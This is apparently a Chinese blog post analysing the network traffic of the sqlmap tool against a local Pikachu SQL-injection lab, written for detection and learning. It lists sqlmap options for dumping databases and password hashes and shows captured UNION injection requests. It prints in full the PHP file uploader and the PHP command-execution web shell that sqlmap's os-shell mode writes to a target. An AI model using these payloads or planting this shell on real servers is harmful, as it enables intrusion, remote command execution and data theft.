首页 > 其他分享 >222

222

时间:2023-04-24 21:35:15浏览次数:34  
标签:sqlmap 0.1 http -- sqli php 222

SQLMAP流量特征分析

测试靶场:pikachu
测试环境:PHP5.4、Apache 2.0、MYSQL5.0.10
测试工具:sqlmap 1.5.6.3

http://127.0.0.1/pikachu/vul/sqli/sqli_id.php

参数实例

-u "http://xx.xx.xx"	//从链接获取扫描目标,GET方式
-u "http://www.target.com/vuln.php" --data="id=1"	//从链接获取扫描目标,POST方式
-r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch	//从文件中加载,处理POST数据包和cookie问题
-r 1.txt --current-db
-m urllist.txt//从文本中获取多个目标扫描,但是每一行只能有一个url

--dbs	//获取数据库
-D 数据库 --tables //获取表名
-D 数据库 -T 数据库表 --columns	//获取列名
-D 数据库 -T 数据库表 -C 数据库表名1,数据库表名2 --dump	//获取字段

-p	//指定参数
--os	//探测系统
--tamper	//修改注入的数据
-b,--banner	//返回数据库的版本号
-current-user	//当前数据库管理用户
--current-db	//当前连接的数据库
--is-dba	//判断当前的用户是否为管理,是的话会返回True
--users	//当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户,列出并破解数据库用户的hash。
--passwords	//当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

//设定探测风险等级
--risk	
共有四个风险等级,0-4,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试
 
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"	//设置请求头
--random-agent	//随机请求头User-Agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
--proxy=http://127.0.0.1:8080	//设置代理
--delay=1		//设置延迟
--batch			//代表全自动 不用我们手动输入y/n

//设置回显等级,默认为1
-v 1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

流量分析

UA头隐藏

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080

image
发现UA头为User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)

所以如果没有伪装UA头的话,攻击流量都会暴露sqlmap的版本
可以通过--user-agent自定义ua头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 

image
抓包流量分析
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --dbs
sqlmap会先放一个数据包探测

GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

然后进行参数拼接pyload测试

GET /pikachu/vul/sqli/sqli_str.php?name=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x71626a6a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x76636a746365%2Cschema_name%29%29%2C0x7170707171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mb0t9ruh324v0pgj7t31i6gnm2
Connection: close

image
1' UNION ALL SELECT CONCAT(0x71626a6a71,IFNULL(CAST(schema_name AS NCHAR),0x20),0x7170707171),NULL FROM INFORMATION_SCHEMA.SCHEMATA#

osshell原理

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --os-shell

探测包

GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

image
如图所示,利用into outfile的方式写入临时的php文件,该临时php文件可文件上传
image
解密后

<?php
if (isset($_REQUEST["upload"]))
{
    $dir = $_REQUEST["uploadDir"];
    if (phpversion() < '4.1.0')
    {
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    else
    {
        $file = $_FILES["file"]["name"];
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    @chmod($dir . "/" . $file, 0755);
    echo "File uploaded";
}
else
{
    echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}

尝试找到上传的文件的访问路径
image

image

image
通过临时的php文件来上传另外一个可命令执行的php文件(实际上是通过这个方式来防止写入命令马后直接被杀掉)

<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
$z = @ini_get("disable_functions");
if (!empty($z))
{
    $z = preg_replace("/[, ]+/", ',', $z);
    $z = explode(',', $z);
    $z = array_map("trim", $z);
}
else
{
    $z = array();
}
$c = $c . " 2>&1\n";
function f($n)
{
    global $z;
    return is_callable($n) and !in_array($n, $z);
}
if (f("system"))
{
    ob_start();
    system($c);
    $w = ob_get_clean();
}
elseif (f("proc_open"))
{
    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
    $w = NULL;
    while (!feof($t[1]))
    {
        $w .= fread($t[1], 512);
    }
    @proc_close($y);
}
elseif (f("shell_exec"))
{
    $w = shell_exec($c);
}
elseif (f("passthru"))
{
    ob_start();
    passthru($c);
    $w = ob_get_clean();
}
elseif (f("popen"))
{
    $x = popen($c, r);
    $w = NULL;
    if (is_resource($x))
    {
        while (!feof($x))
        {
            $w .= fread($x, 512);
        }
    }
    @pclose($x);
}
elseif (f("exec"))
{
    $w = array();
    exec($c, $w);
    $w = join(chr(10), $w) . chr(10);
}
else
{
    $w = 0;
}
echo "<pre>$w</pre>";
?>

然后sqlmap会尝试进行命令执行 echo command execution test

退出–os-shell后删除命令马

GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1 
Cache-Control: no-cache 
User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
Host: www.sqli.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close```

标签:sqlmap,0.1,http,--,sqli,php,222
From: https://www.cnblogs.com/IceSeclude/p/17342924.html

相关文章

  • 低功耗蓝牙MESH芯片PHY6222/PHY6252 适用于无线耳麦
    旅游带团专用无线耳麦讲解器 无线讲解器已经成为讲解场所的主要设备。该装置分为发射器和接收器。讲师会用发射器说话,听者会戴上接收器听讲话。 产品功能及适用场合:1. 可实现讲解员用正常音量讲解,配接听耳机的客人无论距离讲解员远近(200米内)可听清讲解员的讲解。讲解比较......
  • HDU 2222 Keywords Search (AC自动机)
    题目地址:HDU2222AC自动机第一发!真好奇这些算法是怎么被发明的。。算法的魅力真是无穷。这题是AC自动机模板题。自己实在写不出来,比着kuangbin的模板写的==代码如下:#include<iostream>#include<string.h>#include<math.h>#include<queue>#include<algorithm>#incl......
  • Apple Xcode 14.3 (14E222b) 正式版发布下载
    AppleXcode14.3(14E222b)正式版发布CommandLineToolsforXcode14,tvOS16&watchOS9SimulatorRuntime请访问原文链接:https://sysin.org/blog/apple-xcode-14/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgXcode14包含了在所有Apple平台上开发、测......
  • 222. 完全二叉树的节点个数
    给你一棵完全二叉树的根节点root,求出该树的节点个数。完全二叉树的定义如下:在完全二叉树中,除了最底层节点可能没填满外,其余每层节点数都达到最大值,并且最下面一层的节点都集中在该层最左边的若干位置。若最底层为第h层,则该层包含1~2h个节点。classSolution{public:......
  • day16| 222.完全二叉树的节点个数
    104和111题见前一天 222.完全二叉树的节点个数 题目简述:给你一棵完全二叉树的根节点root,求出该树的节点个数。完全二叉树的定义如下:在完全二叉树中,除了最底层节点可能没填满外,其余每层节点数都达到最大值,并且最下面一层的节点都集中在该层最左边的若干位置。若最底层......
  • 南昌航空大学BLOG-1 (软件学院-22206123)
    一、前言本学期开展了面向对象程序设计这门课程,目前,我们已经在PTA上完成了三次Java大作业。第一次大作业一共九题,第二次大作业一共四题,第三次大作业一共七题。第一次作业主要是让我们熟悉并掌握基本的Java语法,如输入、输出的运用,import关键字的使用等,同时复习顺序结构、选择结构......
  • FIT5222 executing and pipelining processes
     FIT5222Assignment2:executingandpipeliningprocesses 1/4Assignment2:executingandpipeliningprocessesDue30Aprby23:59Points10Availableuntil4Mayat23:59OverviewAssignment2isnowavailable.It'sworth10%ofyouroverallmarkf......
  • LeetCode 222.完全二叉树的结点个数
    1.题目:给你一棵完全二叉树的根节点root,求出该树的节点个数。完全二叉树的定义如下:在完全二叉树中,除了最底层节点可能没填满外,其余每层节点数都达到最大值,并且最下面一层的节点都集中在该层最左边的若干位置。若最底层为第h层,则该层包含1~ 2h 个节点。示例1:输入:root=[1......
  • TZOJ 1222: 数据结构练习题――先序遍历二叉树 层次遍历
    描述 给定一颗二叉树,要求输出二叉树的深度以及先序遍历二叉树得到的序列。本题假设二叉树的结点数不超过1000。 输入 输入数据分为多组,第一行是测试数据的组数......
  • 代码随想录17 | 104.二叉树的最大深度 | 222.完全二叉树的节点个数 | 104.二叉树的最
    110. 平衡二叉树给定一个二叉树,判断它是否是高度平衡的二叉树。本题中,一棵高度平衡二叉树定义为:一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过1。算......